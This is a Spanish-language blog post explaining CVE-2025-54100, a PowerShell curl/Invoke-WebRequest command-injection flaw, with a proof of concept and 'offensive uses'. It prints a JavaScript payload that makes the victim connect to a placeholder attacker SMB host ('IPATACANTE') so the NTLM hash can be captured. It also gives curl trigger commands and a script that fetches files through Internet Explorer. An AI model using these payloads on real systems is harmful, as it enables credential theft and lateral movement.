Post

PoC usos ofensivos del CVE-2025-54100

Prueba de concepto y explicación del RCE descubierto en Powershell mediante el CVE-2025-54100

PoC usos ofensivos del CVE-2025-54100

1. ¿En que consiste el CVE-2025-54100?

Este martes han salido parches de seguridad de Microsoft y no ha dejado un Diciembre tranquilo para nadie. El parche entre diferentes vulnerabilidades que parchea defiende nuestros activos del CVE-2025-54100 que ha sido puntuado con un CVSS 7.8 y que permite la ejecución remota de código en mediante powershell. Existen particularidades sobre como esto se da que afectan, no solo a lo tremendamente fácil que es de usarlo, sino que impacta al OPSEC y facilita la ejecución remota de código en entornos en los cuales puedan existir restricciones en el uso de PowerShell. La vulnerabilidad ha sido parcheada mediante el KB5074596 .

El problema se explica y documenta bien en este post sobre el CVE-2025-54100 aunque tiene un error en el propio texto sobre el CVE que tiene asignado. El CVE es bastante sencillo, cuando ejecutas Curl en powershell estás realizando realmente un Invoke-WebRequest que se supone que tiene el parámetro UseBasicPartisng el cual no evalua el código Javascript. Si no se proporciona el parámetro de manera directa la petición Curl lanzará con Invoke-WebRequest un Internet Explorer por detrás el cual tratará de ejecutarlo. El ciclo de la ejecución sería algo similar a lo mostrado en el siguiente esquema. Desktop View El motivo como define la propia Microsoft es la Neutralización inadecuada de un elemento especial en un comando, lo cual genera una inyección de un comando como explica CWE-77 .

Vamos a hacer una PoC sencilla para demostrar el uso de esta vulnerabilidad. Lo primero que voy a hacer es subir mi payload a mi máquina kali con un pequeño servidor en python. Desktop View

Simplemente realizamos el curl sobre el payload et voila! Tenemos ejecución en la máquina. Desktop View

2. Activos vulnerables y contexto necesario

Para poder enumerar activos que sean vulnerables simplemente tienes que tener en cuenta la versión de Powershell para poder aprovecharte de ello.

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\Users\c0nfig17> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      5.1.19041.3803
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.19041.3803
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1

Tendrás que ser capaz de ejecutar Curl mediante Powershell, que suele estar habilitado.

3. Usos ofensivos

3.1 Mejora del OPSEC en ejecuciones

Bueno lo primero es evidente, pero de cara a mejorar acciones ofensivas vas a poder usar curl para ejecutar Invoke-WebRequest y abrir internet explorer, por lo que abusar de este CVE te va a permitir ejecutar acciones que quizás serían más llamativas

3.2 Obtención de credenciales via spoofing

Es una manera sencilla y muy funcional de weaponizar esta vulnerabilidad de cara a extraer credenciales sin tener que alojar nada malicioso en la máquina. En este caso lo que haremos es alojar un script sencillo en nuestra máquina kali. Este script basicamente lo que hace es abusar de esta vulnerabilidad para tratar de conectarnos mediante un XSS a una máquina Kali. El diseño del ataque es el siguiente: Desktop View

Alojaremos el siguiente script

1
<script>new Image().src = "\\\\IPATACANTE\\pwn";</script>

Simplemente ejecutaremos una llamada con curl a la máquina

1
curl 192.168.64.155:81/script.js

y capturaremos el hash del usuario comprometido sin necesidad de saber la contraseña. Ten en cuenta que si realizasemos la misma llamada desde el navegador requeririamos el usuario yc ontraseña

Desktop View

A partir de aquí el movimiento lateral es tan fácil como sea la credencial del usuario. Fácil.

Desktop View

3.3 Descarga de información

Puede ser algo obvio pero puedes utilizar esta vulnerabilidad para descargar información usando Internet Explorer, el cual puede estar capado en algunos entornos. Usar un script que tiene texto te dará acceso al mismo y te puede ayudar a pasar un payload por un navegador que no esté bajo control en un momento concreto.

1
<script>open("http://192.168.64.155:85/fichero.txt")</script>

Si quieres descargar el fichero puedes usar un formato que el interprete de internet explorer no sepa leer para así descargarlo, un .zip o un .exe pueden ser de ayuda pero algo ruidosos.


Apoya el contenido de ciberseguridad en castellano

Si esta publicación te ha sido útil y quieres apoyar mi trabajo para que continúe creando más contenido, aquí te dejo algunas formas de apoyar:

  1. Compartir el contenido 📲 Si crees que esta guía puede ser útil para otras personas, compartirla en tus redes sociales es una gran ayuda.

  2. Donar en Ko-fi 💖 Puedes hacer una donación rápida a través de Ko-fi para ayudarme a seguir publicando guías y tutoriales. ¡Cada aportación cuenta y es muy apreciada!

  3. Usa mi enlace de afiliado de NordVPN y NordPass para mejorar tu seguridad y apoyar la creación de contenido 🛡️ Puedes suscribirte a NordVPN con un 75% de descuento y 3 meses gratis o a NordPass con un 53% de descuento y 3 meses gratis y mejorar tu seguridad a la vez que apoyas el contenido de ciberseguridad en español.


¡Gracias por tu apoyo! 🙏 Desktop View

This post is licensed under CC BY 4.0 by the author.